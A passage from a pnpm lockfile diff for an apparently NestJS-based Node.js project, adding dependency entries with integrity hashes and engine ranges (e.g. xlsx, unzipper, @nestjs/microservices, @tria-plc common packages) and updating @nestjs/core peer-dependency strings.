resolution: {integrity: sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==} + engines: {node: '>=0.10.0'} + universalify@2.0.1: resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} engines: {node: '>= 10.0.0'} @@ -5129,6 +6268,13 @@ packages: unrs-resolver@1.12.2: resolution: {integrity: sha512-dmlRxBJJayXjqTwC+JtF1HhJmgf3ftQ3YejFcZrf4+KKtJv0qDsK1pjqaaVjG7wJ5NJ6UVP1OqRMQ71Z4C3rxQ==} + unset-value@1.0.0: + resolution: {integrity: sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==} + engines: {node: '>=0.10.0'} + + unzipper@0.10.14: + resolution: {integrity: sha512-ti4wZj+0bQTiX2KmKWuwj7lhV+2n//uXEotUmGuQqrbVZSEGFMbI68+c6JCQ8aAmUWYvtHEz2A8K6wXvueR/6g==} + update-browserslist-db@1.2.3: resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} hasBin: true @@ -5138,9 +6284,20 @@ packages: uri-js@4.4.1: resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + urix@0.1.0: + resolution: {integrity: sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==} + deprecated: Please see https://github.com/lydell/urix#deprecated + + use@3.1.1: + resolution: {integrity: sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==} + engines: {node: '>=0.10.0'} + util-deprecate@1.0.2: resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + util@0.12.5: + resolution: {integrity: sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==} + utils-merge@1.0.1: resolution: {integrity: sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==} engines: {node: '>= 0.4.0'} @@ -5149,6 +6306,11 @@ packages: resolution: {integrity: sha512-vIYxrBCC/N/K+Js3qSN88go7kIfNPssr/hHCesKCQNAjmgvYS2oqr69kIufEG+O4+PfezOH4EbIeHCfFov8ZgQ==} hasBin: true + uuid@8.3.2: + resolution: {integrity: sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==} + deprecated: uuid@10 and below is no longer supported. For ESM codebases, update to uuid@latest. For CommonJS codebases, use uuid@11 (but be aware this version will likely be deprecated in 2028). + hasBin: true + v8-compile-cache-lib@3.0.1: resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==} @@ -5170,6 +6332,10 @@ packages: walker@1.0.8: resolution: {integrity: sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==} + warning-symbol@0.1.0: + resolution: {integrity: sha512-1S0lwbHo3kNUKA4VomBAhqn4DPjQkIKSdbOin5K7EFUQNwyIKx+wZMGXKI53RUjla8V2B8ouQduUlgtx8LoSMw==} + engines: {node: '>=0.10.0'} + watchpack@2.5.1: resolution: {integrity: sha512-Zn5uXdcFNIA1+1Ei5McRd+iRzfhENPCe7LeABkJtNulSxjma+l7ltNx55BWZkRlwRnpOgHqxnjyaDgJnNXnqzg==} engines: {node: '>=10.13.0'} @@ -5177,6 +6343,9 @@ packages: wcwidth@1.0.1: resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==} + web-encoding@1.1.5: + resolution: {integrity: sha512-HYLeVCdJ0+lBYV2FvNZmv3HJ2Nt0QYXqZojk3d9FJOLkwnuhzM9tmamh8d7HPM8QqjKH8DeHkFTx+CFlWpZZDA==} + webidl-conversions@3.0.1: resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==} @@ -5228,10 +6397,18 @@ packages: wide-align@1.1.5: resolution: {integrity: sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==} + wmf@1.0.2: + resolution: {integrity: sha512-/p9K7bEh0Dj6WbXg4JG0xvLQmIadrner1bi45VMJTfnbVHsc7yIajZyoSoK60/dtVBs12Fm6WkUI5/3WAVsNMw==} + engines: {node: '>=0.8'} + word-wrap@1.2.5: resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} engines: {node: '>=0.10.0'} + word@0.3.0: + resolution: {integrity: sha512-OELeY0Q61OXpdUfTp+oweA/vtLVg5VDOXh+3he3PNzLGG/y0oylSOC1xRVj0+l4vQ3tj/bB1HVHv1ocXkQceFA==} + engines: {node: '>=0.8'} + wordwrap@1.0.0: resolution: {integrity: sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==} @@ -5258,6 +6435,29 @@ packages: resolution: {integrity: sha512-7KxauUdBmSdWnmpaGFg+ppNjKF8uNLry8LyzjauQDOVONfFLNKrKvQOxZ/VuTIcS/gge/YNahf5RIIQWTSarlg==} engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + xlsx@0.18.5: + resolution: {integrity: sha512-dmg3LCjBPHZnQp5/F/+nnTa+miPJxUXB6vtk42YjBBKayDNagxGEeIdWApkYPOf3Z3pm3k62Knjzp7lMeTEtFQ==} + engines: {node: '>=0.8'} + hasBin: true + + xml2js@0.5.0: + resolution: {integrity: sha512-drPFnkQJik/O+uPKpqSgr22mpuFHqKdbS835iAQrUC73L2F5WkboIRd63ai/2Yg6I1jzifPFKH2NTK+cfglkIA==} + engines: {node: '>=4.0.0'} + + xml@1.0.1: + resolution: {integrity: sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw==} + + xmlbuilder@11.0.1: + resolution: {integrity: sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==} + engines: {node: '>=4.0'} + + xmlchars@2.2.0: + resolution: {integrity: sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==} + + xtend@4.0.2: + resolution: {integrity: sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==} + engines: {node: '>=0.4'} + y18n@4.0.3: resolution: {integrity: sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==} @@ -5284,6 +6484,10 @@ packages: resolution: {integrity: sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==} engines: {node: '>=12'} + yargs-parser@22.0.0: + resolution: {integrity: sha512-rwu/ClNdSMpkSrUb+d6BRsSkLUq1fmfsY6TOpYzTwvwkg1/NRG85KBy3kq++A8LKQwX6lsu+aWad+2khvuXrqw==} + engines: {node: ^20.19.0 || ^22.12.0 || >=23} + yargs@15.4.1: resolution: {integrity: sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==} engines: {node: '>=8'} @@ -5292,6 +6496,14 @@ packages: resolution: {integrity: sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==} engines: {node: '>=12'} + yargs@18.0.0: + resolution: {integrity: sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg==} + engines: {node: ^20.19.0 || ^22.12.0 || >=23} + + year@0.2.1: + resolution: {integrity: sha512-9GnJUZ0QM4OgXuOzsKNzTJ5EOkums1Xc+3YQXp+Q+UxFjf7zLucp9dQ8QMIft0Szs1E1hUiXFim1OYfEKFq97w==} + engines: {node: '>=0.8'} + yn@3.1.1: resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==} engines: {node: '>=6'} @@ -5308,6 +6520,10 @@ packages: resolution: {integrity: sha512-U/PBtDf35ff0D8X8D0jfdzHYEPFxAI7jJlxZXwCSez5M3190m+QobIfh+sWDWSHMCWWJN2AWamkegn6vr6YBTw==} engines: {node: '>=18'} + zip-stream@4.1.1: + resolution: {integrity: sha512-9qv4rlDiopXg4E69k+vMHjNN63YFMe9sZMrdlvKnCjlCRWeCBswPPMPUfx+ipsAWq1LXHe70RcbaHdJJpS6hyQ==} + engines: {node: '>= 10'} + zod@3.25.76: resolution: {integrity: sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==} @@ -5715,6 +6931,27 @@ snapshots: '@eslint/js@8.57.1': {} + '@faker-js/faker@10.4.0': {} + + '@fast-csv/format@4.3.5': + dependencies: + '@types/node': 14.18.63 + lodash.escaperegexp: 4.1.2 + lodash.isboolean: 3.0.3 + lodash.isequal: 4.5.0 + lodash.isfunction: 3.0.9 + lodash.isnil: 4.0.0 + + '@fast-csv/parse@4.3.6': + dependencies: + '@types/node': 14.18.63 + lodash.escaperegexp: 4.1.2 + lodash.groupby: 4.6.0 + lodash.isfunction: 3.0.9 + lodash.isnil: 4.0.0 + lodash.isundefined: 3.0.1 + lodash.uniq: 4.5.0 + '@hookform/resolvers@3.10.0(react-hook-form@7.76.1(react@18.3.1))': dependencies: react-hook-form: 7.76.1(react@18.3.1) @@ -6172,7 +7409,7 @@ snapshots: lodash: 4.18.1 rxjs: 7.8.2 - '@nestjs/core@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)': + '@nestjs/core@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nuxt/opencollective': 0.4.1 @@ -6184,12 +7421,13 @@ snapshots: tslib: 2.8.1 uid: 2.0.2 optionalDependencies: + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/platform-express': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) '@nestjs/event-emitter@2.1.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) - '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) eventemitter2: 6.4.9 '@nestjs/jwt@10.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))': @@ -6206,6 +7444,18 @@ snapshots: class-transformer: 0.5.1 class-validator: 0.14.4 + '@nestjs/microservices@11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2)': + dependencies: + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + iterare: 1.2.1 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + tslib: 2.8.1 + optionalDependencies: + amqp-connection-manager: 5.0.0(amqplib@2.0.1) + amqplib: 2.0.1 + '@nestjs/passport@10.0.3(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -6214,7 +7464,7 @@ snapshots: '@nestjs/platform-express@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) - '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) cors: 2.8.6 express: 5.2.1 multer: 2.1.1 @@ -6226,7 +7476,7 @@ snapshots: '@nestjs/schedule@6.1.3(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) - '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) cron: 4.4.0 '@nestjs/schematics@11.1.0(chokidar@4.0.3)(prettier@3.8.3)(typescript@5.9.3)': @@ -6246,7 +7496,7 @@ snapshots: dependencies: '@microsoft/tsdoc': 0.15.1 '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) - '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/mapped-types': 2.0.5(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) js-yaml: 4.1.0 lodash: 4.17.21 @@ -6257,14 +7507,29 @@ snapshots: class-transformer: 0.5.1 class-validator: 0.14.4 - '@nestjs/testing@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(@nestjs/platform-express@11.1.23)': + '@nestjs/testing@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) - '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) tslib: 2.8.1 optionalDependencies: + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/platform-express': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) + '@nestjs/throttler@6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)': + dependencies: + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + reflect-metadata: 0.2.2 + + '@nestjs/typeorm@11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)))': + dependencies: + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + '@next/env@14.2.35': {} '@next/eslint-plugin-next@14.2.35': @@ -6322,6 +7587,8 @@ snapshots: dependencies: '@noble/hashes': 1.8.0 + '@phc/format@1.0.0': {} + '@pkgjs/parseargs@0.11.0': optional: true @@ -6423,6 +7690,83 @@ snapshots: '@tokenizer/token@0.3.0': {} + '@tria-plc/api-common@0.1.4(296a75716ddf658d3d4f5879ef7db3cb)': + dependencies: + '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/jwt': 10.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/passport': 10.0.3(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0) + '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) + '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + '@tria-plc/iamapi-common': 0.1.6(efb6e02fa9b4108b3ff4c3ae477b6dad) + argon2: 0.43.1 + axios: 1.16.1 + change-case: 5.4.4 + class-transformer: 0.5.1 + class-validator: 0.14.4 + dotenv: 16.6.1 + ethiopian-calendar-date-converter: 2.1.6 + ethiopian-date: 0.0.6 + exceljs: 4.4.0 + file-type: 21.3.4 + handlebars: 4.7.9 + handlebars-helpers: 0.10.0 + jmespath: 0.16.0 + jose: 5.10.0 + jsonwebtoken: 9.0.3 + libphonenumber-js: 1.13.3 + libreoffice-convert: 1.8.1 + nestjs-minio-client: 2.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) + passport-jwt: 4.0.1 + qrcode: 1.5.4 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + style-object-to-css-string: 1.1.3 + typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + typeorm-extension: 3.9.0(@faker-js/faker@10.4.0)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + uuid: 11.1.1 + xlsx: 0.18.5 + transitivePeerDependencies: + - '@faker-js/faker' + - debug + - supports-color + + '@tria-plc/iamapi-common@0.1.6(efb6e02fa9b4108b3ff4c3ae477b6dad)': + dependencies: + '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/jwt': 10.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/passport': 10.0.3(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0) + '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) + '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + '@tria-plc/api-common': 0.1.4(296a75716ddf658d3d4f5879ef7db3cb) + argon2: 0.43.1 + axios: 1.16.1 + class-transformer: 0.5.1 + class-validator: 0.14.4 + ethiopian-date: 0.0.6 + file-type: 21.3.4 + jose: 5.10.0 + jsonwebtoken: 9.0.3 + libphonenumber-js: 1.13.3 + nestjs-minio-client: 2.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) + passport-jwt: 4.0.1 + qrcode: 1.5.4 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + typeorm-extension: 3.9.0(@faker-js/faker@10.4.0)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + uuid: 11.1.1 + transitivePeerDependencies: + - '@faker-js/faker' + - supports-color + '@tsconfig/node10@1.0.12': {} '@tsconfig/node12@1.0.11': {} @@ -6583,6 +7927,8 @@ snapshots: '@types/ms@2.1.0': {} + '@types/node@14.18.63': {} + '@types/node@20.19.41': dependencies: undici-types: 6.21.0 @@ -6898,6 +8244,9 @@ snapshots: '@xtuc/long@4.2.2': {} + '@zxing/text-encoding@0.9.0': + optional: true + 